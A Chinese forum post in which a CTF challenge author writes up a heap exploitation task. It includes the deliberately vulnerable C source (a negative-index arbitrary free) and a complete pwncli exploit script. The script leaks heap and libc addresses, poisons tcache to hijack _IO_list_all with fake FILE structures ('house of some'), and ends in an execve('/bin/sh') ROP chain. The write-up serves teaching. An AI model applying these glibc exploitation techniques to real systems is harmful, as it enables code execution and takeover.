好友
阅读权限10
听众
最后登录1970-1-1
|
前言 第一次出堆题,我对这道题的定位是道堆教学题,只需要会基本的tcache attack和任意一个能getshell的house即可打通。
(题目的提示词看上去毫无规律,实际上是deepseek生成的,我本来打算用B站的一些梗来让题目更具备趣味性,但奈何时间不够,对做题又没有影响,所以让AI代替我完成这份工作了。可以发现AI代替人类还为时尚早。。。)
链接:
https://www.ctfplus.cn/problem-detail/1942814399198662656/description
源码
先放上源码
[C] 纯文本查看 复制代码 // gcc pwn.c -z now -fstack-protector-all -o pwn -s
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LIST_SIZE 0x20
#define BOOK_NAME_SIZE 0x10
typedef struct Book {
char bookName[0x10];
char *content;
} Book;
char userName[0x20];
Book booklist[LIST_SIZE];
int bookSelfSize;
int getInt() {
int res;
scanf("%d", &res);
getchar();
return res;
}
void createBook() {
if (bookSelfSize == LIST_SIZE) {
exit(EXIT_FAILURE);
}
Book *book = &booklist[bookSelfSize++];
puts("报菜名:");
fgets(book->bookName, BOOK_NAME_SIZE, stdin);
int contentSize;
puts("含金量检测:");
contentSize = getInt();
book->content = malloc(contentSize);
puts("开摆区填词:");
fgets(book->content, contentSize, stdin);
}
void showBookContent() {
char bookName[BOOK_NAME_SIZE];
puts("空降坐标:");
fgets(bookName, BOOK_NAME_SIZE, stdin);
for (int i = 0; i < bookSelfSize; i++)
{
Book *book = &booklist[i];
if (strncmp(bookName, book->bookName, BOOK_NAME_SIZE) == 0) {
puts(book->content);
return;
}
}
}
void deleteBook() {
puts("律师函编号:");
int idx = getInt();
if (bookSelfSize == 0 || idx >= bookSelfSize || strcmp(booklist[idx].bookName, "") == 0) {
exit(EXIT_FAILURE);
}
free(booklist[idx].content);
booklist[idx].bookName[0] = '\0';
}
void menu() {
puts("=======弹幕护体=======");
puts("1. 接化发");
puts("2. 代码炼丹");
puts("3. 上舰考古");
puts("4. 鸽德清除");
puts("5. 光速下播");
printf("键政方向键:");
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while (1) {
menu();
int choice = getInt();
switch (choice)
{
case 1:
puts("暗号接头:");
fgets(userName, 0x20, stdin);
break;
case 2:
createBook();
break;
case 3:
showBookContent();
break;
case 4:
deleteBook();
break;
default:
exit(EXIT_SUCCESS);
}
}
}
漏洞分析
程序的free操作可以将索引设置为负数,将其指向另一个可读写的区域,从而完成任意地址释放。
关于地址泄漏,出题人本来只设置了绕过fgets函数来泄漏堆地址的预期解,但看到其他师傅发布的题解里是利用show函数里的空字符串比对来泄漏地址,看来以后不能在泄漏地址上下功夫了。
思路
基本思路就是先泄漏出地址,然后利用任意地址free将释放的tcache块位于可控的范围内,覆写tcache的next指针指向_IO_list_all来将其覆写为堆里布置好的IO_file,然后让程序退出执行任意一个能getshell的house即可。
exp
思路不唯一,这里使用了house of some来获取shell。
[Python] 纯文本查看 复制代码 from pwncli import *
elf = ELF("./pwn")
# io = gift.io = elf.process()
io = gift.io = remote("nc1.ctfplus.cn", 25143)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
def menu(choice):
sla("键政方向键:".encode(), str(choice).encode())
def setName(name):
menu(1)
if len(name) != 0x20:
name += b'\n'
sa("暗号接头:\n".encode(), name)
def createBook(bookName=b"a", contentSize=0, content=b"a"):
menu(2)
sla("报菜名:\n".encode(), bookName)
sla("含金量检测:\n".encode(), str(contentSize).encode())
ru("开摆区填词:\n".encode())
if contentSize:
sl(content)
def showBook(bookName=b"a"):
menu(3)
sla("空降坐标:\n".encode(), bookName)
def deleteBook(idx):
menu(4)
sla("律师函编号:\n".encode(), str(idx).encode())
# --------
createBook() # 0
deleteBook(0)
createBook() # 1
showBook()
heapaddr = u64_ex(r(5)) << 12
success(f"{heapaddr = :x}")
deleteBook(1)
createBook(bookName=b"b", contentSize=0x500) # 2
createBook() # 3
createBook(contentSize=0xf0) # 4
deleteBook(4)
setName(p64(0) + b"ajguthahbzzb\0\0\0\0"+ p64(heapaddr + 0x2c0)[:-1])
deleteBook(-1)
showBook(b"b")
libc.address = u64_ex(r(6)) - 0x211b20
success(f"{libc.address = :x}")
# attach(io)
# pause()
# house of some
read_primitive = lambda read_addr, length, chain=0, _fileno=0: fit(
{
0x00: 0x8000 | 0x40 | 0x1000, # _flags
0x20: read_addr, # _IO_write_base
0x28: read_addr + length, # _IO_write_ptr
0x68: chain, # _chain
0x70: p32(_fileno), # _fileno
0xC0: 0, # _modes
# 0x88: libc.address + 0x1de720,
0xD8: libc.sym._IO_file_jumps - 0x8, # _vtable
},
filler=b"\x00",
)
write_primitive = lambda buf_start, length, chain=0, fileno=1: flat(
{
0x00: 0x800 | 0x1000 | 0x8000, # _flags
0x20: buf_start, # _IO_write_base
0x28: buf_start + length, # _IO_write_ptr
0x70: p32(fileno), # _fileno
0x68: chain, # _chain
# 0x88: libc.address + 0x1de710,
0xD8: libc.sym._IO_file_jumps, # vtable
},
filler=b"\x00",
)
IO_FILE_size = 0xE0
target = libc.sym._IO_list_all
fake_file_start = heapaddr + 0x2c0 + 0x20 + 0x20 + 0xf0 + IO_FILE_size
payload = fit(0, 0, 0, 0, 0, 0x100, 0, 0) + b'\0'*0xf0 + write_primitive(libc.sym.environ, 8, fake_file_start)
fake_file_start += IO_FILE_size
payload += read_primitive(fake_file_start, 0x400, fake_file_start)
createBook(b"c", 0x500, payload) # 5
setName(p64(0) + b"ajguthahbzzb\0\0\0\0"+ p64(heapaddr + 0x2f0)[:-1])
deleteBook(-1)
deleteBook(5)
payload = fit(0, 0, 0, 0, 0, 0x100, target ^ ((heapaddr + 0x2d0) >> 12))
createBook(b"d", 0x100, payload) # 6
createBook(b"a", 0xf0)
createBook(b"a", 0xf0, p64(heapaddr + 0x2c0 + 0x20 + 0x20 + 0xf0))
menu(5)
stack_leak = u64(r(8))
success(f"{stack_leak = :x}")
stack_leak_size = 0x500
fake_file_start += IO_FILE_size
payload = write_primitive(stack_leak - stack_leak_size, stack_leak_size, fake_file_start)
fake_file_start += IO_FILE_size
payload += read_primitive(fake_file_start, 0x400, fake_file_start)
sl(payload)
stack_space = r(stack_leak_size)
_IO_flush_all = libc.functions._IO_flush_all
_IO_flush_all_start = _IO_flush_all.address
_IO_flush_all_end = _IO_flush_all_start + _IO_flush_all.size
for ret_offset in range(0, stack_leak_size, 8):
ret_addr = u64(stack_space[ret_offset : ret_offset + 8])
if _IO_flush_all_start <= ret_addr <= _IO_flush_all_end:
stack_leak = stack_leak - stack_leak_size + ret_offset
break
print(hex(ret_offset))
payload = read_primitive(stack_leak, 0x400)
sl(payload)
rop = ROP(libc)
rop.base = stack_leak
rop.execve(b'/bin/sh', 0, 0)
rop_chain = rop.chain()
sl(rop_chain)
# attach(io)
# --------
ia()
总结
从这道题可以看出,泄漏出地址是件很难避免的事,但如果编程经验比较丰富可以避免出现可以利用的漏洞。从而我们也知道C语言是门非常不安全的语言,但凡用C++的STL库也不会存在这么多问题。
|
免费评分
-
查看全部评分
|